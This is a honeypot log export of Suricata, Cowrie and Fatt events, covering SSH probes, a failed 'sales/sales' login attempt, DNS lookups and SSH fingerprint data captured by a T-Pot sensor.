34211	157.240.9.35	109.199.241.180	Suricata	2021-09-20 14:59:21.960936+03	2021-09-20 15:00:06.840059+03	{"_id": "IgYTA3wBvYTbRNuENFQm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:21.498583+0000", "pkts_toclient": 0, "pkts_toserver": 5, "bytes_toclient": 0, "bytes_toserver": 447}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.35", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 282065393785751, "payload": "FwMDACL7PeSRVz3076Ep9Yz1hA+KQ2wlJv8C47sDFJFUmKFz5RPU", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 40258, "timestamp": "2021-09-20T11:59:21.960936Z", "@timestamp": "2021-09-20T11:59:21.960Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\".=..W=...)......Cl%&.......T..s..."}}	1	\N	\N	alert	\N	\N
34212	157.240.9.18	109.199.241.180	Suricata	2021-09-20 14:59:21.594809+03	2021-09-20 15:00:06.841059+03	{"_id": "HAYTA3wBvYTbRNuENFQm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:21.493982+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 237}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.18", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.18", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 667386237258142, "payload": "FwMDACJ2DJ9i2d0PENiS6qMUGoooarhlyNG1ZhXjozcfV9F018Um", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 34968, "timestamp": "2021-09-20T11:59:21.594809Z", "@timestamp": "2021-09-20T11:59:21.594Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\"v..b...........(j.e...f...7.W.t..&"}}	1	\N	\N	alert	\N	\N
34235	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:59:46.407256+03	2021-09-20 15:00:06.873059+03	{"_id": "dgYTA3wBvYTbRNuElFSv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.login.failed", "message": "login attempt [sales/sales] failed", "session": "a947a7deafaf", "@version": "1", "password": "sales", "username": "sales", "timestamp": "2021-09-20T11:59:46.407256Z", "@timestamp": "2021-09-20T11:59:46.407Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
34213	157.240.9.35	109.199.241.180	Suricata	2021-09-20 14:59:21.71289+03	2021-09-20 15:00:06.842059+03	{"_id": "IQYTA3wBvYTbRNuENFQm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:21.498583+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 342}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.35", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 282065393785751, "payload": "FwMDACL7PeSRVz3076Ep9Yz1hA+KQ2wlJv8C47sDFJFUmKFz5RPU", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 40258, "timestamp": "2021-09-20T11:59:21.712890Z", "@timestamp": "2021-09-20T11:59:21.712Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\".=..W=...)......Cl%&.......T..s..."}}	1	\N	\N	alert	\N	\N
34214	157.240.234.35	109.199.241.180	Suricata	2021-09-20 14:59:22.496345+03	2021-09-20 15:00:06.844059+03	{"_id": "HwYTA3wBvYTbRNuENFQm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:21.503539+0000", "pkts_toclient": 0, "pkts_toserver": 6, "bytes_toclient": 0, "bytes_toserver": 552}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.35", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1721708366638835, "payload": "FwMDACJGxBkrvnpqbVTi+GIcCeH2jhKnYbmFca/qwR3jD02BxUgS", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 37958, "timestamp": "2021-09-20T11:59:22.496345Z", "@timestamp": "2021-09-20T11:59:22.496Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\"F..+.zjmT..b.......a..q......M..H."}}	1	\N	\N	alert	\N	\N
34215	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:59:42.405286+03	2021-09-20 15:00:06.84506+03	{"_id": "VgYTA3wBvYTbRNuEhVQN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "e53003ea71ff", "@version": "1", "duration": 2.768840789794922, "timestamp": "2021-09-20T11:59:42.405286Z", "@timestamp": "2021-09-20T11:59:42.405Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
34216	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:59:44.855576+03	2021-09-20 15:00:06.84706+03	{"_id": "ZwYTA3wBvYTbRNuEjlQJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 40508, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 889646501334552, "@version": "1", "in_iface": "enp5s0", "src_port": 45887, "dest_port": 53, "timestamp": "2021-09-20T11:59:44.855576Z", "@timestamp": "2021-09-20T11:59:44.855Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
34217	81.71.17.12	109.199.241.180	Suricata	2021-09-20 14:59:45.231399+03	2021-09-20 15:00:06.84806+03	{"_id": "aAYTA3wBvYTbRNuEjlQJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "flow_id": 2116570481447220, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44272, "dest_port": 22, "timestamp": "2021-09-20T11:59:45.231399Z", "@timestamp": "2021-09-20T11:59:45.231Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
34236	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:59:37.337663+03	2021-09-20 15:00:06.874059+03	{"_id": "RwYTA3wBvYTbRNuEcVSC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "e81e3ba2b795", "@version": "1", "duration": 2.986854314804077, "timestamp": "2021-09-20T11:59:37.337663Z", "@timestamp": "2021-09-20T11:59:37.337Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
34218	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:59:44.857321+03	2021-09-20 15:00:06.849059+03	{"_id": "aQYTA3wBvYTbRNuEjlQK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 40508, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2690, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 889646501334552, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 45887, "timestamp": "2021-09-20T11:59:44.857321Z", "@timestamp": "2021-09-20T11:59:44.857Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
34219	81.71.17.12	109.199.241.180	Suricata	2021-09-20 14:59:45.240896+03	2021-09-20 15:00:06.851059+03	{"_id": "agYTA3wBvYTbRNuEjlQK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:59:44.676148+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2116570481447220, "payload": "AAADzAYUuRMOejqk81Kne2u12HJkKwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44272, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:59:45.240896Z", "@timestamp": "2021-09-20T11:59:45.240Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........z:..R.{k..rd+...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
34220	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:59:45.231439+03	2021-09-20 15:00:06.852059+03	{"_id": "awYTA3wBvYTbRNuEj1QP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.71.17.12", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44272, "timestamp": "2021-09-20T11:59:45.231439", "@timestamp": "2021-09-20T11:59:45.231Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34221	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:59:44.966909+03	2021-09-20 15:00:06.853059+03	{"_id": "YgYTA3wBvYTbRNuEjFTd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "a947a7deafaf", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:59:44.966909Z", "@timestamp": "2021-09-20T11:59:44.966Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
34222	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:59:45.223291+03	2021-09-20 15:00:06.85506+03	{"_id": "ZgYTA3wBvYTbRNuEjlQI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 39211, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2689, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1332300863333195, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 60903, "timestamp": "2021-09-20T11:59:45.223291Z", "@timestamp": "2021-09-20T11:59:45.223Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
34223	81.71.17.12	109.199.241.180	Fatt	2021-09-20 14:59:45.240896+03	2021-09-20 15:00:06.857059+03	{"_id": "bAYTA3wBvYTbRNuEj1QP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 44272, "dest_port": 22, "timestamp": "2021-09-20T11:59:45.240896", "@timestamp": "2021-09-20T11:59:45.240Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
34224	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:59:39.912579+03	2021-09-20 15:00:06.858059+03	{"_id": "TwYTA3wBvYTbRNuEeVRT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "e53003ea71ff", "@version": "1", "timestamp": "2021-09-20T11:59:39.912579Z", "@timestamp": "2021-09-20T11:59:39.912Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 